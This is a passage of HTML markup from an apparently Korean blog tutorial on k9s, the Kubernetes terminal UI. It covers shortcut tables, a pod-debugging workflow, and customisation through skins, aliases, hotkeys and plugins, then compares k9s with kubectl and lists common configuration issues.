&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;:&lt;/code&gt;를 눌러 리소스 전환 (&lt;code class=&quot;language-text&quot;&gt;:pod&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;:svc&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;:ns&lt;/code&gt; …)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;리스트 항목을 화살표로 선택하고, 단축키 한 글자로 액션을 실행하는 흐름입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;필수 단축키 20개 — 외우면 끝&lt;/h2&gt;
&lt;p&gt;k9s는 단축키가 전부입니다. 이 표만 외우면 일상의 90%가 커버됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/3d7d0991a109bf058fbe82ca475652dc/64756/diagram-shortcuts.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACMElEQVR42iXS2W6jMBQGYN6gzULZw2psDN4g7JCQhdB0G41Uzbz/m4zTkf6LI8ufz5Ft5clhq7hfwV6Lq1icXNQBekzEGfLJCEojLE1QW3FjwcZGnY16GQu2JpCplWeXrfPLih511tPDO9jPuH0n3QcbPg3YOfFgx8MOjl4y+XiISe0nlYyHSjMqH3i7b63qoIlhk9XPqHWqD0fc1PRk0kuEb6z8TYpfiH3F6dg1RV51KS1kzLBQVjum0iYcF7e5yGIFKth+ZdO3zmY9OwXoWvZ/yuFvhO8R6rig3eHCixYmzAyEsnb5Bld+c91VZ5XU67jxyzfQfRlslp09eJKdU/4pcYi6jJC87AkrJTb8B2bbrIaHu1c/8BY2YfOZTt8Gv5n0KsdO+Ackb2HyGsA2JSIlBcJcYt1jiuoJNWsN3hus12irZYMpFovfrPzV4nOQzBFewkQWi8QopRDzGHOA2MuOKS9B/kJajXY672U0cjD5YonFLu4muwaJbL7IIwJ480EDMYNY/GCu/uDiRw56Phr5oNOjld/t4vWB6cVHlxDf5LX5cPb+4zQHWEQPzBUt3OuklY/8CO2M7GCxxaSzQWcNTy6YfHD2wMkNz05QAphFiEkZQLaRWI8qLWtk3PoUDFdzfwy6W9DO3v7siKNDRo9NTjba6ShrO2ts0qow38b5syOUx9fDnZX2Ljt6YnLouGOHHZW7e7luJo2Bah3WGihVUG9BvQH1U1iuo3q1y/8BABN+M88ZXR4AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/3d7d0991a109bf058fbe82ca475652dc/a1b3b/diagram-shortcuts.webp 215w,
/static/3d7d0991a109bf058fbe82ca475652dc/fc700/diagram-shortcuts.webp 430w,
/static/3d7d0991a109bf058fbe82ca475652dc/521f7/diagram-shortcuts.webp 860w,
/static/3d7d0991a109bf058fbe82ca475652dc/cbd37/diagram-shortcuts.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/3d7d0991a109bf058fbe82ca475652dc/f7886/diagram-shortcuts.png 215w,
/static/3d7d0991a109bf058fbe82ca475652dc/bc750/diagram-shortcuts.png 430w,
/static/3d7d0991a109bf058fbe82ca475652dc/3e3fe/diagram-shortcuts.png 860w,
/static/3d7d0991a109bf058fbe82ca475652dc/64756/diagram-shortcuts.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/3d7d0991a109bf058fbe82ca475652dc/3e3fe/diagram-shortcuts.png&apos; alt=&apos;k9s 핵심 단축키 치트시트 — 이동·조작·뷰·시스템 4개 영역&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;k9s 핵심 단축키 치트시트 — 이동·조작·뷰·시스템 4개 영역&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;1) 리소스 이동 (커맨드모드 &lt;code class=&quot;language-text&quot;&gt;:&lt;/code&gt;)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단축키&lt;/th&gt;
&lt;th&gt;동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;:pod&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pod 목록&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;:deploy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment 목록&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;:svc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Service 목록&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;:ing&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ingress 목록&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;:ns&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Namespace 선택&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;:ctx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Context 선택&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;:events&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;클러스터 이벤트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;:node&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Node 목록&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;2) Pod/리소스 조작&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단축키&lt;/th&gt;
&lt;th&gt;동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;describe (Events까지 한 화면에)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;l&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;logs (실시간 스트리밍)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;p&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;직전 컨테이너 로그 (previous)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;s&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;shell — exec -it bash/sh 진입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;port-forward (로컬 포트 프롬프트)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;e&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;edit (YAML 인라인 수정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;y&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;YAML 뷰 (읽기 전용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl+K&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;kill (리소스 삭제)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;3) 뷰 제어&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단축키&lt;/th&gt;
&lt;th&gt;동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;필터 — 이름으로 실시간 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Esc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;뒤로 가기 · 필터 해제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;0&lt;/code&gt;~&lt;code class=&quot;language-text&quot;&gt;9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;네임스페이스 숫자 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;?&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;전체 단축키 도움말&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Space&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;다중 선택 (Ctrl+D 로 일괄 삭제)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;:q&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;종료&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;4) XRay 뷰 (리소스 관계 시각화)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단축키&lt;/th&gt;
&lt;th&gt;동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;:xray pod&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pod → Container → Volume → ConfigMap 트리 구조로 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;xray&lt;/code&gt;는 한 번 써보면 빠져나올 수 없습니다. &quot;이 Deployment가 쓰는 ConfigMap이 뭐지?&quot;를 클릭 한 번(&lt;code class=&quot;language-text&quot;&gt;Enter&lt;/code&gt;)으로 드릴다운합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 워크플로우 — &quot;Pod가 죽었을 때&quot;&lt;/h2&gt;
&lt;p&gt;kubectl 편에서 본 5단계 디버깅을 k9s로 하면 &lt;strong&gt;총 10초&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/1978a91b9f6dd0452c9da8a18d7ef4bd/64756/diagram-workflow.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACHklEQVR42kWS6a6kIBSEfYPebFTAfWt3tAVBxaW7c+fOZN7/eQZzf0xSqfCD4jungnaym3M66Y/Rr2VQLV42wKgDce8VMus+fi6tkKGY40TYj9F5TMpxzFHEYcy1s9uA5gPJuxK/Kv5d0jlqqdtOhH0x+TfuX2YucDXj8r9QM1vFqB7VLk7t55NfzFbEDoWDUhKzKuVu2JvV6NEXJovK2/UCM2HkHFAJyGSEvXZ1GhgPKOFhuYblYga94XW6Q252awQ9IrPTbX7/drsdNdIsR5ANIB1AxkHw1NS9H2bcbCl5BYXE8WC4neE9YdBDuuLpEy5/bPGx6GbSzehXi+1Wt9y9Vrs5BMYMqnC9qXxULjjhwO2UrLBHbMPiE8lvb/qy+s1QGTKbz9Uks+4S7e4SGA2quqTZHu1LwdP2pbB3rzvIbEPiHcnfiO1GJ0EndSKN5wqIvDpEA14Lf8au1rg6Jvey+e60B1mFnwtkuyc+mO6gmRVWV97Kez1dnVYz/CdKjsKCconqLW3fcbNb8fHcsU45WvWsejJLcS8O6bm45eKa8avbaqpenAxqT3T4cVBup9xOBAwpSJmhin0Mesp05dlwxDJ+SYezIh9V59wqBCwFqkbczJF4O2LHbPXZ7ouXx3ePb86w6cVwSenlwU5KCTupMFTMfETFZJfSriSupNMsuJGwmnA5oWJEuVB/w3xwPaK3gF5Ceg7pLeIXp/sHcC93eLThK80AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/1978a91b9f6dd0452c9da8a18d7ef4bd/a1b3b/diagram-workflow.webp 215w,
/static/1978a91b9f6dd0452c9da8a18d7ef4bd/fc700/diagram-workflow.webp 430w,
/static/1978a91b9f6dd0452c9da8a18d7ef4bd/521f7/diagram-workflow.webp 860w,
/static/1978a91b9f6dd0452c9da8a18d7ef4bd/cbd37/diagram-workflow.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/1978a91b9f6dd0452c9da8a18d7ef4bd/f7886/diagram-workflow.png 215w,
/static/1978a91b9f6dd0452c9da8a18d7ef4bd/bc750/diagram-workflow.png 430w,
/static/1978a91b9f6dd0452c9da8a18d7ef4bd/3e3fe/diagram-workflow.png 860w,
/static/1978a91b9f6dd0452c9da8a18d7ef4bd/64756/diagram-workflow.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/1978a91b9f6dd0452c9da8a18d7ef4bd/3e3fe/diagram-workflow.png&apos; alt=&apos;kubectl vs k9s Pod 디버깅 작업 속도 비교 — 90초 vs 10초&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;kubectl vs k9s Pod 디버깅 작업 속도 비교 — 90초 vs 10초&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. k9s 실행                        → k9s
2. Pod 화면 이동                   → :pod
3. 문제 Pod 필터                   → / nginx
4. describe 열기                   → d     (Events 즉시 확인)
5. 로그 보기                       → l
6. 직전 로그 보기 (Crash인 경우)   → p
7. 컨테이너 진입 (필요 시)         → s&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;kubectl로 같은 작업을 하면 7~8개 명령을 쳐야 하는데, k9s는 &lt;strong&gt;키보드 7번&lt;/strong&gt;입니다. 디버깅 루프의 마찰이 크게 줄어듭니다.&lt;/p&gt;
&lt;h3&gt;포트포워딩 실전&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;f&lt;/code&gt; 하나로 끝납니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;:svc&lt;/code&gt; → Service 목록&lt;/li&gt;
&lt;li&gt;원하는 Service 선택 → &lt;code class=&quot;language-text&quot;&gt;f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;로컬 포트 입력 (예: &lt;code class=&quot;language-text&quot;&gt;8080&lt;/code&gt;) → 엔터&lt;/li&gt;
&lt;li&gt;자동으로 port-forward 시작, 브라우저에서 &lt;code class=&quot;language-text&quot;&gt;localhost:8080&lt;/code&gt; 접속&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;종료도 &lt;code class=&quot;language-text&quot;&gt;Ctrl+C&lt;/code&gt; 한 번. 포트포워딩 창을 따로 관리할 필요가 없습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;커스터마이징 — 나에게 맞게 튜닝&lt;/h2&gt;
&lt;h3&gt;1) Skin (테마)&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;~/.config/k9s/skins/&lt;/code&gt; 에 YAML 추가하면 색상 테마 변경 가능합니다. 인기 스킨:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;dracula&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;one-dark&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;solarized-dark&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;nord&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/derailed/k9s/tree/master/skins&quot;&gt;k9s skins 레포&lt;/a&gt;에 공식 프리셋이 있습니다.&lt;/p&gt;
&lt;h3&gt;2) 리소스 별칭 (aliases)&lt;/h3&gt;
&lt;p&gt;자주 쓰는 리소스는 단축어로 만들 수 있습니다. &lt;code class=&quot;language-text&quot;&gt;~/.config/k9s/aliases.yaml&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;alias&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;pp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; v1/pods
  &lt;span class=&quot;token key atrule&quot;&gt;dp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; apps/v1/deployments
  &lt;span class=&quot;token key atrule&quot;&gt;sec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; v1/secrets&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이제 &lt;code class=&quot;language-text&quot;&gt;:pp&lt;/code&gt; 로 Pod 목록 이동이 됩니다.&lt;/p&gt;
&lt;h3&gt;3) 핫키 (hotkeys)&lt;/h3&gt;
&lt;p&gt;Function 키에 액션을 바인딩할 수 있습니다. &lt;code class=&quot;language-text&quot;&gt;~/.config/k9s/hotkeys.yaml&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;hotKeys&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;shift-1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;shortCut&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Shift&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;View pods in prod ns&quot;&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;pod -n production&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Shift+1&lt;/code&gt; 한 번에 prod 네임스페이스 Pod로 이동합니다. 반복 작업이 많다면 적극 활용하세요.&lt;/p&gt;
&lt;h3&gt;4) 플러그인 — stern, jq 연동 예시&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;~/.config/k9s/plugins.yaml&lt;/code&gt;에 외부 도구 바인딩 가능. 예: Pod 선택 상태에서 &lt;code class=&quot;language-text&quot;&gt;Shift+L&lt;/code&gt;을 누르면 stern으로 멀티 Pod 로그 스트리밍.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;stern&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;shortCut&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Shift&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;L
    &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Logs with stern&quot;&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;scopes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; po
    &lt;span class=&quot;token key atrule&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; stern
    &lt;span class=&quot;token key atrule&quot;&gt;background&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;false&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;tail
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;50&quot;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; $FILTER&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;kubectl vs k9s — 언제 뭘 쓰나?&lt;/h2&gt;
&lt;p&gt;둘 다 써야 합니다. 역할이 다릅니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상황&lt;/th&gt;
&lt;th&gt;추천&lt;/th&gt;
&lt;th&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;탐색·디버깅&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;k9s&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;실시간 뷰, 키 몇 개로 끝&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;자동화 스크립트&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;kubectl&lt;/td&gt;
&lt;td&gt;파이프·jsonpath·exit code 처리 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CI/CD 파이프라인&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;kubectl&lt;/td&gt;
&lt;td&gt;비대화형, 재현 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;장애 대응(온콜)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;k9s&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;빠른 Pod·로그·이벤트 스캔&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;YAML 배포·apply&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;kubectl&lt;/td&gt;
&lt;td&gt;선언적 상태 관리 원칙&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;멀티 클러스터 모니터링&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;k9s&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;:ctx&lt;/code&gt; 로 즉시 전환 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;현실적 조합:&lt;/strong&gt; 평소 모니터링·디버깅은 k9s, 배포·자동화는 kubectl. 실제 운영자들이 쓰는 패턴입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;자주 겪는 이슈 3가지&lt;/h2&gt;
&lt;h3&gt;1) &quot;context를 못 찾는다&quot;&lt;/h3&gt;
&lt;p&gt;→ &lt;code class=&quot;language-text&quot;&gt;kubectl config current-context&lt;/code&gt; 먼저 확인. k9s는 kubectl과 같은 설정을 씁니다.&lt;/p&gt;
&lt;h3&gt;2) &quot;네임스페이스가 자꾸 default로 돌아간다&quot;&lt;/h3&gt;
&lt;p&gt;→ k9s 실행 시 &lt;code class=&quot;language-text&quot;&gt;-n &amp;lt;ns&gt;&lt;/code&gt;로 고정. 또는 &lt;code class=&quot;language-text&quot;&gt;~/.config/k9s/config.yaml&lt;/code&gt;에서 &lt;code class=&quot;language-text&quot;&gt;currentNamespace&lt;/code&gt; 지정.&lt;/p&gt;
&lt;h3&gt;3) &quot;리소스가 너무 많아서 느리다&quot;&lt;/h3&gt;
&lt;p&gt;→ &lt;code class=&quot;language-text&quot;&gt;refreshRate&lt;/code&gt;를 늘려서 리프레시 주기 조정 (기본 2초 → 5~10초). 대형 클러스터에서 권장.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# ~/.config/k9s/config.yaml&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;k9s&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;refreshRate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;maxConnRetry&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;enableMouse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;false&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q. 운영 환경에서 k9s 써도 되나요?&lt;/h3&gt;
